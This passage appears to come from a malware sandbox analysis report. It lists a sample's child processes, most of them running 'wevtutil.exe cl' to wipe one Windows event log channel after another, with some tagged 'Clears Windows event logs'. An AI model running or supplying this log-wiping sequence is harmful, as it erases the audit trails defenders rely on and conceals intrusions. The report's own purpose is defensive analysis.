    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NdisImPlatform/Operational
    3⤵
    PID:3960
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NDIS/Operational
    3⤵
    PID:4304
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NCSI/Operational
    3⤵
    PID:736
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-NcdAutoSetup/Operational
    3⤵
    - Clears Windows event logs
    PID:3600
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Ncasvc/Operational
    3⤵
    PID:3260
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-MUI/Operational
    3⤵
    PID:1756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-MUI/Admin
    3⤵
    PID:876
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-MSPaint/Admin
    3⤵
    PID:4580
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Mprddm/Operational
    3⤵
    PID:4200
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ModernDeployment-Diagnostics-Provider/ManagementService
    3⤵
    PID:2148
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot
    3⤵
    PID:4756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Admin
    3⤵
    PID:800
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Mobile-Broadband-Experience-Parser-Task/Operational
    3⤵
    PID:848
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-MemoryDiagnostics-Results/Debug
    3⤵
    PID:732
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-MediaFoundation-Performance/SARStreamResource
    3⤵
    PID:3604
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-LSA/Operational
    3⤵
    PID:2212
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-LiveId/Operational
    3⤵
    PID:4464
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-LinkLayerDiscoveryProtocol/Operational
    3⤵
    PID:528
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-LanguagePackSetup/Operational
    3⤵
    PID:2936
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Known Folders API Service"
    3⤵
    PID:804
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-KeyboardFilter/Performance
    3⤵
    PID:4612
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-KeyboardFilter/Operational
    3⤵
    PID:2780
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-KeyboardFilter/Admin
    3⤵
    PID:4424
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-WHEA/Operational
    3⤵
    PID:4408
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-WHEA/Errors
    3⤵
    PID:1836
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-WDI/Operational
    3⤵
    PID:3792
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-StoreMgr/Operational
    3⤵
    - Clears Windows event logs
    PID:2928
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-ShimEngine/Operational
    3⤵
    PID:5088
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-Power/Thermal-Operational
    3⤵
    PID:4668
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Kernel-PnP/Driver Watchdog"
    3⤵
    PID:3612
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-PnP/Configuration
    3⤵
    PID:1592
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-LiveDump/Operational
    3⤵
    PID:3572
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-IO/Operational
    3⤵
    - Clears Windows event logs
    PID:4584
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-EventTracing/Admin
    3⤵
    PID:2572
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-Boot/Operational
    3⤵
    PID:4920
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kernel-ApphelpCache/Operational
    3⤵
    - Clears Windows event logs
    PID:584
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Kerberos/Operational
    3⤵
    PID:4648
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-KdsSvc/Operational
    3⤵
    PID:556
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-IPxlatCfg/Operational
    3⤵
    PID:2128
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Iphlpsvc/Operational
    3⤵
    PID:4404
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-International-RegionalOptionsControlPanel/Operational
    3⤵
    PID:628
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-IKE/Operational
    3⤵
    PID:544
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-IdCtrls/Operational
    3⤵
    PID:2104
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Hyper-V-VID-Admin
    3⤵
    PID:4904
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Hyper-V-Hypervisor-Operational
    3⤵
    PID:4704
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Hyper-V-Hypervisor-Admin
    3⤵
    - Clears Windows event logs
    PID:2316
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Hyper-V-Guest-Drivers/Operational
    3⤵
    PID:4320
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Hyper-V-Guest-Drivers/Admin
    3⤵
    PID:4796
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-HttpService/Trace
    3⤵
    PID:3028
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-HttpService/Log
    3⤵
    PID:5044
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-HotspotAuth/Operational
    3⤵
    PID:3032
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-HomeGroup Provider Service/Operational"
    3⤵
    PID:2416
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-HomeGroup Listener Service/Operational"
    3⤵
    PID:3016
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-HomeGroup Control Panel/Operational"
    3⤵
    PID:3728
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Help/Operational
    3⤵
    PID:1996
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-HelloForBusiness/Operational
    3⤵
    - Clears Windows event logs
    PID:4752
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-GroupPolicy/Operational
    3⤵
    PID:4548
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-glcnd/Admin
    3⤵
    - Clears Windows event logs
    PID:4140
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-GenericRoaming/Admin
    3⤵
    PID:1048
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Forwarding/Operational
    3⤵
    PID:4368
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Folder Redirection/Operational"
    3⤵
    PID:2956
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-FMS/Operational
    3⤵
    PID:564
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-FileHistory-Engine/BackupLog
    3⤵
    PID:4412
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-FileHistory-Core/WHC
    3⤵
    PID:5056
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-FeatureConfiguration/Operational
    3⤵
    PID:4868
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Fault-Tolerant-Heap/Operational
    3⤵
    - Clears Windows event logs
    PID:920
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EventCollector/Operational
    3⤵
    PID:3972
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ESE/Operational
    3⤵
    PID:4208
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Energy-Estimation-Engine/EventLog
    3⤵
    PID:508
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EDP-Audit-TCB/Admin
    3⤵
    - Clears Windows event logs
    PID:2184
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EDP-Audit-Regular/Admin
    3⤵
    PID:1868
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EDP-Application-Learning/Admin
    3⤵
    PID:280
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EapMethods-Ttls/Operational
    3⤵
    PID:3960
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EapMethods-Sim/Operational
    3⤵
    PID:2912
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EapMethods-RasTls/Operational
    3⤵
    - Clears Windows event logs
    PID:736
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EapMethods-RasChap/Operational
    3⤵
    PID:3260
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-EapHost/Operational
    3⤵
    PID:1756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DxgKrnl-Operational
    3⤵
    PID:876
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DxgKrnl-Admin
    3⤵
    PID:4580
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DucUpdateAgent/Operational
    3⤵
    PID:4200
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DSC/Operational
    3⤵
    PID:2148
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DSC/Admin
    3⤵
    PID:4756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DriverFrameworks-UserMode/Operational
    3⤵
    PID:800
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DNS-Client/Operational
    3⤵
    PID:848
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DisplayColorCalibration/Operational
    3⤵
    PID:732
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DiskDiagnosticResolver/Operational
    3⤵
    - Clears Windows event logs
    PID:3604
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DiskDiagnosticDataCollector/Operational
    3⤵
    PID:2212
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DiskDiagnostic/Operational
    3⤵
    PID:1628
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnostics-Performance/Operational
    3⤵
    PID:4464
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnostics-Networking/Operational
    3⤵
    PID:528
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational
    3⤵
    PID:2936
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnosis-Scripted/Operational
    3⤵
    PID:804
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnosis-Scripted/Admin
    3⤵
    PID:2164
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnosis-Scheduled/Operational
    3⤵
    PID:648
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnosis-PLA/Operational
    3⤵
    - Clears Windows event logs
    PID:2304
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnosis-PCW/Operational
    3⤵
    PID:288
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Diagnosis-DPS/Operational
    3⤵
    PID:1876
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Dhcpv6-Client/Operational
    3⤵
    PID:4556
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Dhcpv6-Client/Admin
    3⤵
    PID:4860
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Dhcp-Client/Operational
    3⤵
    PID:4108
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Dhcp-Client/Admin
    3⤵
    PID:3132
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DeviceUpdateAgent/Operational
    3⤵
    - Clears Windows event logs
    PID:408
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DeviceSync/Operational
    3⤵
    PID:1116
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DeviceSetupManager/Operational
    3⤵
    - Clears Windows event logs
    PID:3572
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DeviceSetupManager/Admin
    3⤵
    PID:4584
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Devices-Background/Operational
    3⤵
    PID:4248
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational
    3⤵
    PID:4912
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Admin
    3⤵
    PID:2700
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DeviceGuard/Operational
    3⤵
    PID:4136
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Deduplication/Scrubbing
    3⤵
    PID:556
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Deduplication/Operational
    3⤵
    PID:2128
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Deduplication/Diagnostic
    3⤵
    - Clears Windows event logs
    PID:4404
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DateTimeControlPanel/Operational
    3⤵
    PID:1476
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DataIntegrityScan/CrashRecovery
    3⤵
    PID:3036
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DataIntegrityScan/Admin
    3⤵
    PID:1236
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-DAL-Provider/Operational
    3⤵
    PID:5064
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Crypto-NCrypt/Operational
    3⤵
    PID:3672
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Crypto-DPAPI/Operational
    3⤵
    PID:4956
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Crypto-DPAPI/Debug
    3⤵
    PID:3712
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Crypto-DPAPI/BackUpKeySvc
    3⤵
    PID:2860
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CorruptedFileRecovery-Server/Operational
    3⤵
    - Clears Windows event logs
    PID:4632
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CorruptedFileRecovery-Client/Operational
    3⤵
    PID:3520
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CoreSystem-SmsRouter-Events/Operational
    3⤵
    PID:3032
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CoreApplication/Operational
    3⤵
    PID:2416
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Containers-Wcnfs/Operational
    3⤵
    PID:3016
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Containers-Wcifs/Operational
    3⤵
    PID:3728
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Containers-BindFlt/Operational
    3⤵
    PID:1996
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Compat-Appraiser/Operational
    3⤵
    PID:4752
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CodeIntegrity/Operational
    3⤵
    PID:4548
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CloudStore/Operational
    3⤵
    PID:4140
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CloudStore/Debug
    3⤵
    - Clears Windows event logs
    PID:4692
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Cleanmgr/Diagnostic
    3⤵
    - Clears Windows event logs
    PID:2060
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CertPoleEng/Operational
    3⤵
    PID:3716
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CertificateServicesClient-Lifecycle-User/Operational
    3⤵
    PID:3088
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational
    3⤵
    PID:1408
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational
    3⤵
    PID:852
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-CAPI2/Operational
    3⤵
    PID:2968
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-BranchCacheSMB/Operational
    3⤵
    - Clears Windows event logs
    PID:3980
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-BranchCache/Operational
    3⤵
    PID:3708
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Bluetooth-Policy/Operational
    3⤵
    PID:912
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Bluetooth-MTPEnum/Operational
    3⤵
    PID:3596
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Bluetooth-Bthmini/Operational
    3⤵
    PID:232
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Bluetooth-BthLEPrepairing/Operational
    3⤵
    PID:524
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Bits-Client/Operational
    3⤵
    PID:5016
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Bits-Client/Analytic
    3⤵
    PID:4848
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-BitLocker/BitLocker Operational"
    3⤵
    - Clears Windows event logs
    PID:4892
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-BitLocker/BitLocker Management"
    3⤵
    - Clears Windows event logs
    PID:284
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-BitLocker-DrivePreparationTool/Operational
    3⤵
    PID:1304
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-BitLocker-DrivePreparationTool/Admin
    3⤵
    PID:4340
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Biometrics/Operational
    3⤵
    - Clears Windows event logs
    PID:4844
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Base-Filtering-Engine-Resource-Flows/Operational
    3⤵
    PID:1400
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Base-Filtering-Engine-Connections/Operational
    3⤵
    PID:1120
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Backup
    3⤵
    PID:2148
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-BackgroundTransfer-ContentPrefetcher/Operational
    3⤵
    PID:4756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-BackgroundTaskInfrastructure/Operational
    3⤵
    - Clears Windows event logs
    PID:800
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Authentication/ProtectedUserSuccesses-DomainController
    3⤵
    - Clears Windows event logs
    PID:848
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Authentication/ProtectedUserFailures-DomainController
    3⤵
    PID:732
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Authentication/ProtectedUser-Client
    3⤵
    PID:3604
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Authentication/AuthenticationPolicyFailures-DomainController
    3⤵
    PID:2212
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Authentication User Interface/Operational"
    3⤵
    PID:1628
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Audio/PlaybackManager
    3⤵
    PID:4464
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Audio/Operational
    3⤵
    PID:528
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Audio/Informational
    3⤵
    PID:2936
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Audio/GlitchDetection
    3⤵
    PID:804
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Audio/CaptureMonitor
    3⤵
    PID:2164
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AssignedAccessBroker/Operational
    3⤵
    - Clears Windows event logs
    PID:648
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AssignedAccessBroker/Admin
    3⤵
    PID:2304
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AssignedAccess/Operational
    3⤵
    - Clears Windows event logs
    PID:288
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AssignedAccess/Admin
    3⤵
    - Clears Windows event logs
    PID:1876
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-ASN1/Operational
    3⤵
    PID:4556
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppxPackaging/Operational
    3⤵
    PID:4860
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppXDeploymentServer/Restricted
    3⤵
    PID:4108
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppXDeploymentServer/Operational
    3⤵
    - Clears Windows event logs
    PID:3132
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppXDeployment/Operational
    3⤵
    PID:408
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppReadiness/Operational
    3⤵
    PID:3588
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppReadiness/Admin
    3⤵
    - Clears Windows event logs
    PID:3856
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-AppModel-Runtime/Admin
    3⤵
    PID:3128
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-AppLocker/Packaged app-Execution"
    3⤵
    PID:2636
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-AppLocker/Packaged app-Deployment"
    3⤵
    PID:1264
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-AppLocker/MSI and Script"
    3⤵
    PID:4540
